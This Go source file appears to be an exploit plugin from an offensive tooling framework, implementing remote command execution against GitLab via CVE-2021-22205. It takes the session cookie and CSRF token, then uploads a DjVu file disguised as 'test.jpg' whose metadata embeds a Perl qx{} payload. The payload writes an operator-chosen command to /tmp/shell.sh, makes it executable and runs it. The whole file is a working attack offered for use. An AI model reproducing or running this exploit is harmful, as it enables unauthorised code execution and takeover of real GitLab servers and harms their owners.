package drops

import (
	"context"
	"fmt"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	"gitee.com/wudicaidou/menciis-pocx/pocbase"
	"github.com/PuerkitoBio/goquery"
	"net/http"
	"net/url"
	"regexp"
	"time"
)

type GitlabCve202122205 struct {
	expbase.BaseExploitPlugin
}

func init() {
	var exp GitlabCve202122205
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

func (t *GitlabCve202122205) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "b87fa16f-0380-46bf-8e03-a7d9e78545bf",
		VulId:   "f18e2245-0415-40cd-8521-a339b6442659",
		Name:    "Gitlab_CVE_2021_22205",
		Ability: expbase.TypeCommandExecution,
		Echo:    true,
	}
}
func GetCSRF(s *goquery.Selection) string {
	csrf_token := ""
	s.Each(func(i int, s *goquery.Selection) {
		if name, _ := s.Attr("name"); name == "csrf-token" {
			csrf_token, _ = s.Attr("content")
		}
	})
	return csrf_token
}
func RegerpGitlabCsrfToken(Body string) string {
	regMap, _ := regexp.Compile(`<meta name="csrf-token" content="(.*?)" />`)
	resultMap := regMap.FindStringSubmatch(Body)
	return resultMap[1]
}
func (t *GitlabCve202122205) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.CommandResultEvent, err error) {
	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}
	req := reqAsset.Req.Clone()
	baseUrl := req.GetUrl().String()
	newUrl1, err := url.Parse(baseUrl + `/users/sign_in`)
	if err != nil {
		return nil, err
	}
	req.RawRequest.Method = http.MethodGet
	req.RawRequest.URL = newUrl1
	resp, err2 := expContext.HttpClient.Do(ctx, req)
	if err2 != nil {
		return nil, err2
	}
	var gitlabSession = ""
	for _, cookie := range resp.RawResponse.Cookies() {
		if cookie.Name == "_gitlab_session" {
			gitlabSession = cookie.Value
			break
		}
	}
	if gitlabSession == "" {
		return nil, fmt.Errorf("_gitlab_session error")
	}

	doc := RegerpGitlabCsrfToken(string(resp.GetBody()))
	req2 := reqAsset.Req.Clone()
	newUrl, err := url.Parse(baseUrl + `/uploads/user`)
	req2.RawRequest.URL = newUrl
	req2.RawRequest.Method = http.MethodPost
	req2.RawRequest.Header.Set("Content-Type", "multipart/form-data; boundary=0a8af301db162802952b30a6f4e15026")
	req2.RawRequest.Header.Set("X-CSRF-Token", doc)
	req2.RawRequest.Header.Set("Origin", baseUrl)
	req2.RawRequest.Header.Set("Cookie", "_gitlab_session="+gitlabSession)
	cmd, _, _ := expbase.ReverseHost(req.GetHost(), expContext.CommandToExecute, 100)
	commands := "echo '/bin/" + cmd + "' > /tmp/shell.sh && chmod 777 /tmp/shell.sh && /bin/bash /tmp/shell.sh"
	body := "--0a8af301db162802952b30a6f4e15026\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n" + "AT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{" + commands + "} . \\\n\" b \") )\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0A\n\n--0a8af301db162802952b30a6f4e15026--\r\n"
	req2.SetBody([]byte(body))
	resp, err = expContext.HttpClient.Do(ctx, req2)
	time.Sleep(time.Second * 1)
	if err != nil {
		return nil, nil
	}
	data = append(data, &expbase.CommandResultEvent{
		Request:   *req.RawRequest,
		Response:  *resp.RawResponse,
		EventBase: t.GetEventBase(expContext.Target, t),
		Command:   cmd,
		Result:    resp.GetBody(),
	})
	return data, nil
}

func (t *GitlabCve202122205) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	return nil, nil
}

func (t *GitlabCve202122205) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	return nil, nil
}
